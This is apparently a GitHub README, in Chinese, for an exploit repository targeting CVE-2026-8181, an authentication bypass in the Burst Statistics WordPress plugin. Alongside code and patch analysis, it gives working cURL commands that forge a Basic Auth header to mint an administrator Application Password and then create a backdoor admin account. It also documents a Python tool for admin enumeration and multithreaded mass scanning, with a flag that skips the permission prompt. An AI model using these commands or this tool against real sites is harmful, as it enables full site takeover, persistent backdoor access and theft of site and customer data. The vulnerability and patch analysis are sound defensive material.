Yucaerin/CVE-2026-8181

GitHub: Yucaerin/CVE-2026-8181

该工具利用 Burst Statistics WordPress 插件的身份验证绕过漏洞,实现未授权的管理员账户接管与批量漏洞扫描。

Stars: 0 | Forks: 1

# CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — 身份验证绕过导致管理员账户接管 **漏洞概述** WordPress 插件 **Burst Statistics** **3.4.0 至 3.4.1.1** 版本存在**未经身份验证的身份验证绕过**漏洞,可导致完整的**管理员账户接管**。此严重缺陷允许未经验证的攻击者在获知任意管理员用户名的情况下,通过单个 HTTP 请求为该账户生成有效的 WordPress Application Password,从而获得对整个网站的持久管理员级别访问权限。 该漏洞源于 `class-mainwp-proxy.php` 中的 `is_mainwp_authenticated()` 函数。此函数调用了 `wp_authenticate_application_password()`,但仅检查其结果是否为 `WP_Error`。它**并未**验证结果是否确实是一个成功的 `WP_User` 对象。当 WordPress 的内部过滤器 `application_password_is_api_request` 返回 `false` 时——这种情况发生在常规 REST API 身份验证流程之外发起调用时——WordPress 函数会返回 `null` 而不是 `WP_Error` 或 `WP_User`。由于 `null` 不是 `WP_Error`,检查被通过,攻击者所选的管理员用户通过 `wp_set_current_user()` 被设置为当前用户。 一旦当前用户切换为管理员,后续的权限检查便会通过。随后,攻击者可以访问 `/burst/v1/mainwp-auth` REST 端点,该端点会为管理员账户创建 WordPress Application Password 并在响应中返回。这为攻击者提供了持久的、完整的 system 管理员级别访问权限。 **受影响插件** | 字段 | 值 | |---|---| | **插件名称** | Burst Statistics – Privacy-Friendly WordPress Analytics | | **插件 Slug** | `burst-statistics` | | **受影响版本** | 3.4.0 – 3.4.1.1 | | **已修复版本** | 3.4.2 | | **CVE ID** | CVE-2026-8181 | | **CVSS 评分** | 9.8 (严重) | | **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **漏洞类型** | 身份验证绕过 (不当身份验证) | | **CWE** | CWE-287 — 不当身份验证 | | **影响** | 全站接管 — 管理员账户接管 | **攻击者可以做什么** | 权限 | 影响 | |---|---| | 为任意管理员生成 Application Password | **持久的管理员访问权限** | | 通过 REST API 创建新的管理员账户 | **账户激增** | | 安装插件 / 主题 | **远程代码执行** | | 编辑文章、页面和设置 | **网站篡改** | | 导出或删除所有站点数据 | **数据破坏 / 泄露** | | 访问 WooCommerce / 客户数据 | **数据泄露** | **技术分析** ### 插件初始化与易受攻击的入口 Burst Statistics 在 WordPress 的 `plugins_loaded` hook 中以优先级 9 进行初始化,位于 `class-burst.php` 内: ``` // class-burst.php, line 118 if ( $this->has_admin_access() ) { $this->admin = new Admin(); $this->admin->init(); ... } ``` `has_admin_access()` 是所有管理功能的守门员。它会检查 `X-BurstMainWP` 头,并调用易受攻击的函数: ``` // trait-admin-helper.php, lines 202-211 if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) { $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy(); if ( $mainwp_proxy->is_mainwp_authenticated() ) { return burst_loader()->has_admin_access = true; } ... } ``` ### 易受攻击的函数:`is_mainwp_authenticated()` ``` // class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1) public function is_mainwp_authenticated(): bool { $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) ); if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) { $credentials = base64_decode( substr( $auth_header, 6 ), true ); if ( ! $credentials ) { return false; } $parts = explode( ':', $credentials, 2 ); if ( count( $parts ) !== 2 ) { return false; } $username = $parts[0]; $password = $parts[1]; // VULNERABLE: wp_authenticate_application_password() returns null // outside the REST API authentication flow $is_valid = wp_authenticate_application_password( null, $username, $password ); // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES! if ( is_wp_error( $is_valid ) ) { return false; } $user = get_user_by( 'login', $username ); if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) { return false; } wp_set_current_user( $user->ID ); return true; } return false; } ``` ### 为什么 `wp_authenticate_application_password()` 返回 `null` WordPress 内部函数 `wp_authenticate_application_password()` 包含一个过滤器: ``` if ( ! apply_filters( 'application_password_is_api_request', false ) ) { return null; // Not an API request, skip app password auth } ``` 当在 REST API 身份验证流程**之外**调用时,它会返回 `null`。Burst Statistics 的代码仅检查了 `is_wp_error($is_valid)` —— `null` 并不是 `WP_Error`,因此该检查被错误地通过。 ### 管理员接管执行路径 1. 攻击者在任意请求中发送 `X-BurstMainWP: 1` 头 2. `has_admin_access()` 触发 `is_mainwp_authenticated()` 3. `wp_authenticate_application_password()` 返回 `null` (不在 API 上下文中) 4. `is_wp_error(null)` = `false` → 检查**通过** 5. `wp_set_current_user($admin_id)` 执行 6. 当前用户随即成为所选的管理员 7. 攻击者向 `/burst/v1/mainwp-auth` 发送 POST 请求 8. `handle_auth_request()` 生成 WordPress Application Password 9. Token 以 `base64(username:app_password)` 形式返回 10. 攻击者使用此 token 获得持久的 REST API 管理员访问权限 ### 补丁分析 (3.4.2) ``` // class-mainwp-proxy.php, lines 399-415 (patched 3.4.2) $allow_application_password_request = static function (): bool { return true; }; add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 ); $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] ); remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 ); if ( ! $authenticated_user instanceof \WP_User ) { return false; } if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) { return false; } ``` 已应用的修复: - 强制 `application_password_is_api_request` 过滤器返回 `true`,以便进行实际的密码验证 - 检查结果是否为 `WP_User` 实例 (而不是 `null`) - 使用 `hash_equals()` 验证用户名是否匹配 此外,REST 端点的 `check_auth_permission()` 也得到了强化,要求 `current_user_can('manage_burst_statistics')` **并且**对 cookie 身份验证请求进行显式的 nonce 验证。 **概念验证** ### 手动 cURL ``` # 步骤 1:验证目标是否存在漏洞(mint Application Password) curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \ -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \ -H 'X-BurstMainWP: 1' \ -H 'Content-Type: application/json' \ -d '{}' # 响应:{"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"} # 步骤 2:解码 token echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d # admin:Bci36pdotH0MKmbM3WXZF4ev # 步骤 3:使用 Application Password 创建新的 admin curl -X POST 'https://target.com/wp-json/wp/v2/users' \ -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \ -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&email=attacker@example.com' ``` ### Python 漏洞利用工具 `exploit_burst_statistics.py` 脚本自动化了完整的攻击链: - **阶段 0**: 通过 `readme.txt`、插件头或资源查询字符串进行版本检测 - **阶段 1**: 通过 REST API、作者页面或常见用户名列表枚举管理员用户名 - **阶段 2**: 利用 `X-BurstMainWP: 1` + 伪造的 Basic Auth 绕过身份验证以生成 token - **阶段 3**: Token 验证与结构校验 - **批量扫描器**: 多线程多目标扫描,并带有实时的易受攻击目标日志记录 **漏洞利用特性** - 无需身份验证 —— 不需要任何前置访问权限 - 仅需单个 HTTP 请求即可生成持久的 Application Password - 自动检测 Burst Statistics 版本并跳过已修复的目标 - 若未提供,则自动枚举管理员用户名 - 同时支持美观的固定链接 (`/wp-json/`) 和丑陋的固定链接 (`/?rest_route=`) - 使用 `ThreadPoolExecutor` 进行批量扫描 - 实时文件写入 —— 易受攻击的目标会被立即保存,无需等待扫描完成 - 线程安全的文件锁定 **用法** ### 单一目标 (自动枚举管理员) ``` python3 exploit_burst_statistics.py -t http://target.com --no-confirm ``` ### 单一目标 (已知管理员用户名) ``` python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm ``` ### 批量扫描 创建 `targets.txt`: ``` target1.com target2.com:8080 192.168.1.50 ``` ``` python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm ``` ### 选项 | 标志 | 描述 | |---|---| | `-t, --target` | 单个目标 URL | | `-l, --list` | 包含目标列表的文件 (每行一个) | | `-T, --threads` | 用于批量扫描的线程数 (默认: 10) | | `-o, --output` | 输出结果文件 (默认: `result_burst_statistics.txt`) | | `-u, --username` | 已知的管理员用户名 (跳过枚举) | | `-v, --verbose` | 详细的调试输出 | | `--timeout` | 请求超时时间 (以秒为单位,默认: 20) | | `--no-confirm` | 跳过权限确认提示 | **修复建议** 致开发者和网站所有者: 1. **立即更新**至 Burst Statistics **3.4.2** 或更高版本 2. 如果无法更新,请暂时禁用该插件 3. 更新后,吊销管理员账户所有现有的 Application Password: - WP 管理后台 → 用户 → [管理员] → Application Passwords → 全部吊销 4. 检查是否存在未经授权的管理员账户或意外的用户创建 5. 检查服务器日志中包含 `X-BurstMainWP: 1` 头的请求 **时间线** | 日期 | 事件 | |---|---| | 2026-05-08 | 预留 CVE | | 2026-05-11 | 通知供应商 | | 2026-05-13 | 公开披露 | | 2026-05-13 | 发布补丁 (v3.4.2) | | 2026-05-15 | 报告发现野外主动利用 | **研究员** - 鸣谢: [Chloe Chamberland — Wordfence PRISM](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland) **参考链接** - [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover) - [CVE 记录](https://www.cve.org/CVERecord?id=CVE-2026-8181) - [补丁差异 — class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.2/includes/Frontend/class-mainwp-proxy.php) - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) **免责声明** 此信息仅供**教育**和**授权渗透测试**目的使用。未经授权利用计算机系统是非法且不道德的。在对您不拥有的任何目标进行测试之前,请务必获得明确的书面许可。
标签:Web分析, WordPress, 漏洞分析, 路径探测, 身份验证绕过, 逆向工具